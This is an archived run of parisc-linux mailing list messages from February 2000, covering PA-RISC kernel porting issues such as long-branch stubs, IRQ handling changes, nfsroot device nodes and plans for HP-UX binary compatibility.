>     c020cbec:       e5 00 31 30     be,l 898(sr4,r8)
> 
> pdc_console_init is at c0101b50 T pdc_console_init
> 
> Note that I CHANGED the load address of 0xc0010000 to 0xc0100000 in
> vmlinux.lds but I can't see there's a relationship so I'm stumped and
> suspect maybe a language system bug which isn't my forte.  Enjoy :-)

There is, in fact, a relationship there.  r8 isn't set properly at any
time, it's kludged.  r8 needs to be set to 
(load addr of .text) & 0xfff00000.   Basically this is used as a pointer
to the stub table for long branching.  (so, it should be a jump to
0xc010049c, which ought to be a stub for start_parisc())

Yeah, it's kinda ugly...  the linker and crt0.S both need to be
taught about this too.

> The sources I used can be generated by applying the patch
> pehc:/tmp/sammy2 to the CVS bits current as of this morning.


From - Thu Nov 08 21:11:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [mingo@chiara.csoma.elte.hu: new IRQ scalability changes in 2.3.48]
Date: Mon, 28 Feb 2000 11:01:18 -0500
Lines: 91
Approved: news@gmane.org
Message-ID: <20000228110118.X9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618790 30665 80.91.229.3 (22 Nov 2014 01:13:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Mon Feb 28 10:00:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA24712
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Feb 2000 10:00:37 -0700
Original-Received: (qmail 11668 invoked by uid 15267); 28 Feb 2000 16:01:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11656 invoked from network); 28 Feb 2000 16:01:22 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2000 16:01:22 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id LAA16173
	for parisc-linux@thepuffingroup.com; Mon, 28 Feb 2000 11:01:18 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6890


I thought this may be of interest.

----- Forwarded message from Ingo Molnar <mingo@chiara.csoma.elte.hu> -----

Delivered-To: thepuffi-willy@thepuffingroup.com
Date: 	Sun, 27 Feb 2000 16:04:13 +0100 (CET)
From: Ingo Molnar <mingo@chiara.csoma.elte.hu>
To: Andrea Arcangeli <andrea@suse.de>
Cc: linux-kernel@vger.rutgers.edu, linux-alpha@vger.rutgers.edu,
        Richard Henderson <rth@cygnus.com>,
        "David S. Miller" <davem@redhat.com>,
        Linus Torvalds <torvalds@transmeta.com>
Subject: new IRQ scalability changes in 2.3.48
In-Reply-To: <Pine.LNX.4.21.0002270501160.473-100000@alpha.random>
Precedence: bulk
X-Loop: 	majordomo@vger.rutgers.edu
X-Orcpt: rfc822;linux-kernel-outgoing-dig


On Sun, 27 Feb 2000, Andrea Arcangeli wrote:

> I ported the SMP irq affinity code and the per-irq-desc locking to alpha
> (plus the ->end semantical change). [...]

here is a summary of all the IA32 IRQ scalability changes which were added
as of 2.3.48, so that other architectures can make sense of these changes
and potentially adopt them:

	- per-IRQ-source spinlocks and per-IRQ-controller spinlocks
	  increasing scalability: now two IRQ handlers on two CPUs
	  can run do_IRQ in parallel. Note that level-triggered PCI IRQ
	  handlers never actually take the IRQ-controller spinlock in the
	  'IRQ handling fast path'.

	- got rid of the global_irq_count shared variable, it was
	  cache-pingponging like hell during multi-CPU interrupt
	  load. The irqs_running() function does it all now - cli()/sti()
	  thus got a bit slower, but it's worth it. The change is supposed
	  to be an invariant otherwise.

	- Reworked (level-triggered) IO-APIC IRQ handlers to never touch
	  the IO-APIC registers and keep the interrupt unacked in the
	  local APIC while the handler is running. This speeded
	  'null IRQ latency' up considerably and also works better with
	  hardware features like focus-CPU, and causes better IRQ
	  atomicity. The 'legacy' edge-triggered IO-APIC IRQ sources
	  still need the slower method to work reliably.

	- per-CPU IRQ statistics causing better cache workload

	- explicit IRQ affinity (to a group of CPUs) can be set through
	  /proc/irq/*. Extended the IRQ controller function template with
	  ->set_affinity(). See Documentation/IRQ-affinity.txt for more.

	- added /proc/irq/prof_cpu_mask, to enable profiling on a single
	  CPU only. (useful to determine the true idleness of a CPU, and
	  other interesting things when using CPU-affine IRQs.)

	- the irq_handler->end() semantics had to be changed slightly to
	  allow the fastest possible IO-APIC IRQ handling on x86.

architectures that are currently using (a hw-adopted version of) the IA32
IRQ architecture are: Alpha, IA64, SH and ARM.

> I checked it works fine here. The sys_dp264 is the only port that
> actively uses SMP irq affinity it (because it's the only one capable
> of SMP irq scaling) and so it's also the only one who currently needs
> lowlevel controller locking. There are also a few common code changes
> (the irq_stat is useless on alpha, on alpha there's a better cpu_data
> smp struct where all the per-cpu things gets allocated) There are a
> few IA32 irq.c cleanups for some 64bit issue. [...]

yep. In 2.5 the IA32 irq.c will probably be moved into kernel/irq.c so
it's important to keep it 64-bit clean. Since there are 11 different
architectures in the main tree now (and 2-3 not yet integrated ones) this
can definitely not happen now, but will be very important to do in 2.5.

Manfred Spraul does have some ideas/patches wrt. per-CPU data structures -
i believe these concepts have to be unified in 2.5 as well (together with
the unification of the irq code). Sparc64 had these per-CPU data
structures for ages.

a related 'SMP-scalability' note: i've implemented a new type of
read-write spinlock which does not cause cacheline pingpong in the read
path (and is thus extremely scalable and cache-friendly), David Miller
added his own ideas and ported it to Sparc - this should show up soon.

	Ingo



From - Thu Nov 08 21:11:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot howto
Date: Mon, 28 Feb 2000 17:54:44 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <001601bf820c$83782210$0a14d793@esiee.fr>
References: <200002250249.SAA04345@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618790 30666 80.91.229.3 (22 Nov 2014 01:13:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:10 +0000 (UTC)
To: "Grant Grundler" <grundler@cup.hp.com>, <parisc-linux@thepuffingroup.com>
Original-X-From: t.simonnet@esiee.fr  Mon Feb 28 10:53:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA25393
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Feb 2000 10:53:35 -0700
Original-Received: (qmail 18041 invoked by uid 15267); 28 Feb 2000 16:54:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17816 invoked from network); 28 Feb 2000 16:54:08 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2000 16:54:08 -0000
Original-Received: from venus (venus.esiee.fr [147.215.20.10])
	by mail.esiee.fr (Postfix) with SMTP
	id EA75857328; Mon, 28 Feb 2000 17:53:50 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:6891

I have created special devices, but there is the same error. I've set
CONFIG_APRICOT too, without success.

Th. SIMONNET

----- Original Message -----
From: Grant Grundler <grundler@cup.hp.com>
To: <parisc-linux@thepuffingroup.com>
Sent: Friday, February 25, 2000 3:49 AM
Subject: Re: [parisc-linux] nfsroot howto


>
> Thierry SIMONNET (t.simonnet@esiee.fr) wrote:
> | I have a 712/60 Workstation as NFS server and a 712/80 as parisc-linux
box.
> | I have some trouble with nfsroot :bootp and tftp process works but
> | IP-Config says : IP-Config : No Network device available.
>
> Thierry,
> I think the problem is you are using HP-UX. :^)
> No, really.
>
> I'm pretty sure HP-UX "mknod" creates the special devices *differently*
> than parisc-linux wants to interpret them.
> HP-UX dev_t is 8 bits Major and 24 bits Minor.
> Linux dev_t is 8 bits Major and  8 bits Minor. (according to willy)
>
> Give HP-UX mknod "cooked" parameters in order to create the
> special device file linux can use. I might not have cooked
> them correctly below....I haven't tried it out yet.
>
> Please try:
> o cd /tftpboot/<host>/dev
> o rm -f *
> o sh mknod.hpux  # appended below
>
> and then try again.
>
> grant
>
>
> mknod console c 0 0x0501
> mknod tty0 c 0 0x0400
> mknod tty1 c 0 0x0401
> mknod tty2 c 0 0x0402
> mknod tty3 c 0 0x0403
> mknod tty4 c 0 0x0404
> mknod tty5 c 0 0x0405
> mknod tty6 c 0 0x0406
> mknod tty7 c 0 0x0407
> mknod tty8 c 0 0x0408
> mknod vcs0 c 0 0x0700
> mknod vcs1 c 0 0x0701
> mknod vcs2 c 0 0x0702
> mknod vcs3 c 0 0x0703
> mknod vcs4 c 0 0x0704
> mknod vcs5 c 0 0x0705
> mknod vcs6 c 0 0x0706
> mknod vcs7 c 0 0x0707
> mknod vcs8 c 0 0x0708
> mknod vcsa c 0 0x0780
> mknod vcsa1 c 0 0x0781
> mknod vcsa2 c 0 0x0782
> mknod vcsa3 c 0 0x0783
> mknod vcsa4 c 0 0x0784
> mknod vcsa5 c 0 0x0785
> mknod vcsa6 c 0 0x0786
> mknod vcsa7 c 0 0x0787
> mknod vcsa8 c 0 0x0788
>
>
> --------------------------------------------------------------------------

From - Thu Nov 08 21:11:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Kasper Petersen <mkp@socsci.auc.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot howto
Date: 28 Feb 2000 19:01:10 +0100
Organization: IC1&2, Aalborg University
Lines: 14
Approved: news@gmane.org
Message-ID: <yq1wvnp6wbd.fsf@leyland.socsci.auc.dk>
References: <200002250249.SAA04345@milano.cup.hp.com> <001601bf820c$83782210$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618791 30669 80.91.229.3 (22 Nov 2014 01:13:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:11 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Original-X-From: mkp@socsci.auc.dk  Mon Feb 28 12:00:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA25810
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Feb 2000 12:00:30 -0700
Original-Received: (qmail 3971 invoked by uid 15267); 28 Feb 2000 18:01:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3957 invoked from network); 28 Feb 2000 18:01:26 -0000
Original-Received: from bentley.socsci.auc.dk (130.225.60.48)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2000 18:01:26 -0000
Original-Received: from leyland.socsci.auc.dk ([130.225.60.69])
	by bentley.socsci.auc.dk with esmtp (Exim 3.11 #3)
	id 12PUS8-0002tN-00; Mon, 28 Feb 2000 18:59:28 +0100
Original-Received: (from mkp@localhost)
	by leyland.socsci.auc.dk (8.9.3+Sun/8.9.1) id TAA22915;
	Mon, 28 Feb 2000 19:01:11 +0100 (MET)
Original-Sender: mkp@socsci.auc.dk
In-Reply-To: "Thierry SIMONNET"'s message of "Mon, 28 Feb 2000 17:54:44 +0100"
Original-Lines: 13
User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) XEmacs/21.1 (Bryce Canyon)
Xref: news.gmane.org gmane.linux.ports.parisc:6892

>>>>> "Thierry" == Thierry SIMONNET <t.simonnet@esiee.fr> writes:

Thierry> I have created special devices, but there is the same
Thierry> error. I've set CONFIG_APRICOT too, without success.

Could you please mail us a log of your boot process and your .config?

The error message indicates that no suitable network device has been
found which the kernel can attempt to bootp from.

-- 
Martin Kasper Petersen			BOFH, IC1&2, Aalborg University, DK
mailto:mkp@SunSITE.auc.dk		http://SunSITE.auc.dk/~mkp/


From - Thu Nov 08 21:11:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [mingo@chiara.csoma.elte.hu: new IRQ scalability changes in 2.3.48]
Date: Mon, 28 Feb 2000 20:56:38 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <20000228205638.K812@abacus.local>
References: <20000228110118.X9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618791 30673 80.91.229.3 (22 Nov 2014 01:13:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: prumpf@inwestnet.de  Mon Feb 28 13:56:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA26547
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Feb 2000 13:56:47 -0700
Original-Received: (qmail 26635 invoked by uid 15267); 28 Feb 2000 19:57:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26609 invoked from network); 28 Feb 2000 19:57:43 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2000 19:57:43 -0000
Original-Received: (qmail 22939 invoked from network); 28 Feb 2000 19:57:36 -0000
Original-Received: from port0948.fra.ginko.net (HELO inwestnet.de) (root@212.202.69.186)
  by mail.ginko.net with SMTP; 28 Feb 2000 19:57:36 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id UAA23058;
	Mon, 28 Feb 2000 20:57:38 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <20000228110118.X9944@thepuffingroup.com>; from willy@thepuffingroup.com on Mon, Feb 28, 2000 at 11:01:18AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6893

> On Sun, 27 Feb 2000, Andrea Arcangeli wrote:
> 
> > I ported the SMP irq affinity code and the per-irq-desc locking to alpha
> > (plus the ->end semantical change). [...]
> 
> here is a summary of all the IA32 IRQ scalability changes which were added
> as of 2.3.48, so that other architectures can make sense of these changes
> and potentially adopt them:
> 
> 	- per-IRQ-source spinlocks and per-IRQ-controller spinlocks
> 	  increasing scalability: now two IRQ handlers on two CPUs
> 	  can run do_IRQ in parallel. Note that level-triggered PCI IRQ
> 	  handlers never actually take the IRQ-controller spinlock in the
> 	  'IRQ handling fast path'.
> 
> 	- got rid of the global_irq_count shared variable, it was
> 	  cache-pingponging like hell during multi-CPU interrupt
> 	  load. The irqs_running() function does it all now - cli()/sti()
> 	  thus got a bit slower, but it's worth it. The change is supposed
> 	  to be an invariant otherwise.
> 
> 	- Reworked (level-triggered) IO-APIC IRQ handlers to never touch
> 	  the IO-APIC registers and keep the interrupt unacked in the
> 	  local APIC while the handler is running. This speeded
> 	  'null IRQ latency' up considerably and also works better with
> 	  hardware features like focus-CPU, and causes better IRQ
> 	  atomicity. The 'legacy' edge-triggered IO-APIC IRQ sources
> 	  still need the slower method to work reliably.
> 
> 	- per-CPU IRQ statistics causing better cache workload
> 
> 	- explicit IRQ affinity (to a group of CPUs) can be set through
> 	  /proc/irq/*. Extended the IRQ controller function template with
> 	  ->set_affinity(). See Documentation/IRQ-affinity.txt for more.
> 
> 	- added /proc/irq/prof_cpu_mask, to enable profiling on a single
> 	  CPU only. (useful to determine the true idleness of a CPU, and
> 	  other interesting things when using CPU-affine IRQs.)
> 
> 	- the irq_handler->end() semantics had to be changed slightly to
> 	  allow the fastest possible IO-APIC IRQ handling on x86.
> 
> architectures that are currently using (a hw-adopted version of) the IA32
> IRQ architecture are: Alpha, IA64, SH and ARM.

PA-RISC isn't on that list, and shouldn't be.  I had a look at the 2.3 IRQ
code (which begins to claim to be architecture-independent) and it does NOT
adopt well to PA-RISC IMHO.

Still there, are some bits which will definitely be taken over, so this
might be of interest to the Dino, Lasi and other "irq region" drivers:

the irq operations are
	startup
	shutdown

	enable
	disable

	ack
	end

the major difference to what we have now is ack/end instead of mask/unmask.

ack acknowledges the IRQ and masks it
end unmasks the IRQ

We will _definitely_ use the new ops, and a structure similar to struct
hw_interrupt_type in include/linux/irq.h.  The difference is I think it
is still a good idea to pass in a void * (this is the only sensible way
to allow several instances of a irq region device in a system).

The other thing we will be doing is to use a linear array for all IRQs
instead of the two-dimensional struct we have now.  This will cost a bit
of memory at runtime, but it'll get our code closer to what the other
architectures have.

> yep. In 2.5 the IA32 irq.c will probably be moved into kernel/irq.c so
> it's important to keep it 64-bit clean. Since there are 11 different
> architectures in the main tree now (and 2-3 not yet integrated ones) this
> can definitely not happen now, but will be very important to do in 2.5.

IMHO not having an efficient way to pass a client pointer to the IRQ
controller operations will break not only for us, but there's a lot of
time before 2.5 to discuss this and prepare a better version.

	Philipp Rumpf


From - Thu Nov 08 21:11:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. \(HP-FtCollins,ex1\)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-UX application support?
Date: Mon, 28 Feb 2000 14:14:17 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C2038D0FD0@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618791 30678 80.91.229.3 (22 Nov 2014 01:13:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan_meyer@hp.com  Mon Feb 28 15:29:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA27323
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Feb 2000 15:29:08 -0700
Original-Received: (qmail 30370 invoked by uid 15267); 28 Feb 2000 21:30:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30363 invoked from network); 28 Feb 2000 21:30:05 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2000 21:30:05 -0000
Original-Received: from xboibrg2.boi.hp.com (xboibrg2.boi.hp.com [15.56.8.172])
	by palrel3.hp.com (Postfix) with ESMTP id 5790CA85
	for <parisc-linux@thepuffingroup.com>; Mon, 28 Feb 2000 13:30:04 -0800 (PST)
Original-Received: by xboibrg2.boi.hp.com with Internet Mail Service (5.5.2650.21)
	id <FVNAL5PV>; Mon, 28 Feb 2000 14:30:03 -0700
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:6894

I have heard several descriptions of what will be supported for HP-UX
applications on 64-bit PA/Linux.

Can someone plz clarify what will be supported:
* 64-bit/ELF HP-UX applications
* 32-bit/SOM HP-UX applications

And, what about the install location of HP-UX shlibs required for these
64-bit (and 32-bit?) HP-UX applications?

Also, I am assuming the install model will be to simply copy files from an
HP-UX system over to a PA/Linux system.  In particular, I have heard of no
plans to support HP-UX packages bundled in "SD" format.  Right?

Thanks, Alan


From - Thu Nov 08 21:11:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX application support?
Date: Mon, 28 Feb 2000 17:04:46 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <20000228170446.Z9944@thepuffingroup.com>
References: <56D553C0B61BD311AD2300A0C9F485C2038D0FD0@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618792 30682 80.91.229.3 (22 Nov 2014 01:13:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "MEYER,ALAN C. HP-FtCollins,ex1\"" <alan_meyer@hp.com>
Original-X-From: willy@thepuffingroup.com  Mon Feb 28 16:03:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA27702
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Feb 2000 16:03:59 -0700
Original-Received: (qmail 22641 invoked by uid 15267); 28 Feb 2000 22:04:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22624 invoked from network); 28 Feb 2000 22:04:53 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2000 22:04:53 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id RAA17075;
	Mon, 28 Feb 2000 17:04:46 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <56D553C0B61BD311AD2300A0C9F485C2038D0FD0@xfc02.fc.hp.com>; from MEYER,ALAN C. HP-FtCollins,ex1" on Mon, Feb 28, 2000 at 02:14:17PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6895

On Mon, Feb 28, 2000 at 02:14:17PM -0700, MEYER,ALAN C. HP-FtCollins,ex1" wrote:
> I have heard several descriptions of what will be supported for HP-UX
> applications on 64-bit PA/Linux.
> 
> Can someone plz clarify what will be supported:
> * 64-bit/ELF HP-UX applications
> * 32-bit/SOM HP-UX applications

We intend to support both of the above; in addition we also intend to
support 32 bit ELF Linux applications and, eventually, 64 bit ELF Linux
applications.  In case anyone didn't realise it, the current executables
we use are 32-bit SOM HP-UX applications.  Admittedly, the current sash
we have implements `-mount' by calling a linux syscall, but that's only
one command.

Not every application will work, but the vast majority of them will.
Binary support for threaded applications is most unlikely.

> And, what about the install location of HP-UX shlibs required for these
> 64-bit (and 32-bit?) HP-UX applications?

If we use a dynamically linked application, they would need to be placed
in the same location that HP/UX requires them to be.

> Also, I am assuming the install model will be to simply copy files from an
> HP-UX system over to a PA/Linux system.  In particular, I have heard of no
> plans to support HP-UX packages bundled in "SD" format.  Right?

Hmmm.. this is really a userspace problem that we haven't thought
about yet.  I anticipate that the `swinstall' program will work without
much pain and therefore installing .depot files will work.  However,
it wouldn't be the recommended way; packaging products as rpm or dpkg
(depending which distribution we pick) would be the preferred way to go.
There is a program called `alien' which can install other package formats,
extending that to support .depot files might be a fun thing to do for
someone with too much time on their hands :-)


From - Thu Nov 08 21:11:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX application support?
Date: Mon, 28 Feb 2000 23:26:17 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20000228232617.N812@abacus.local>
References: <56D553C0B61BD311AD2300A0C9F485C2038D0FD0@xfc02.fc.hp.com> <20000228170446.Z9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618792 30686 80.91.229.3 (22 Nov 2014 01:13:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:12 +0000 (UTC)
Cc: "MEYER,ALAN C. HP-FtCollins,ex1\"" <alan_meyer@hp.com>,
        parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: prumpf@inwestnet.de  Mon Feb 28 16:26:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA28093
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Feb 2000 16:26:29 -0700
Original-Received: (qmail 5537 invoked by uid 15267); 28 Feb 2000 22:27:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5524 invoked from network); 28 Feb 2000 22:27:19 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2000 22:27:19 -0000
Original-Received: (qmail 24510 invoked from network); 28 Feb 2000 22:27:16 -0000
Original-Received: from port0313.fra.ginko.net (HELO inwestnet.de) (root@212.202.71.59)
  by mail.ginko.net with SMTP; 28 Feb 2000 22:27:16 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id XAA23527;
	Mon, 28 Feb 2000 23:27:17 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <20000228170446.Z9944@thepuffingroup.com>; from willy@thepuffingroup.com on Mon, Feb 28, 2000 at 05:04:46PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6896

> > And, what about the install location of HP-UX shlibs required for these
> > 64-bit (and 32-bit?) HP-UX applications?
> 
> If we use a dynamically linked application, they would need to be placed
> in the same location that HP/UX requires them to be.

We might want to look at the gnemul hack sparc did (include/asm-sparc/namei.h)
- ask the sparc people for their experiences with it first though.


From - Thu Nov 08 21:11:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FINK,MARTIN \(HP-FtCollins,ex1\)" <martin_fink@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP-UX application support?
Date: Mon, 28 Feb 2000 14:47:45 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C202E9DAB3@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618792 30690 80.91.229.3 (22 Nov 2014 01:13:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "'willy@thepuffingroup.com'" <willy@thepuffingroup.com>,
        "MEYER,ALAN C. \(HP-FtCollins,ex1\)" <alan_meyer@hp.com>
Original-X-From: martin_fink@hp.com  Mon Feb 28 16:46:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA28413
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Feb 2000 16:46:51 -0700
Original-Received: (qmail 19072 invoked by uid 15267); 28 Feb 2000 22:47:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19056 invoked from network); 28 Feb 2000 22:47:48 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2000 22:47:48 -0000
Original-Received: from xrosebh3.rsvl.itc.hp.com (xrosebh3.rsvl.itc.hp.com [15.34.240.67])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 5E27E1CE; Mon, 28 Feb 2000 17:47:47 -0500 (EST)
Original-Received: by xrosebh3.rsvl.itc.hp.com with Internet Mail Service (5.5.2650.21)
	id <FVN18BKR>; Mon, 28 Feb 2000 14:47:46 -0800
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:6897

> On Mon, Feb 28, 2000 at 02:14:17PM -0700, MEYER,ALAN C. 
> HP-FtCollins,ex1" wrote:
> > I have heard several descriptions of what will be supported 
> for HP-UX
> > applications on 64-bit PA/Linux.
> > 
> > Can someone plz clarify what will be supported:
> > * 64-bit/ELF HP-UX applications
> > * 32-bit/SOM HP-UX applications
> 
> We intend to support both of the above; in addition we also intend to
> support 32 bit ELF Linux applications and, eventually, 64 bit 
> ELF Linux
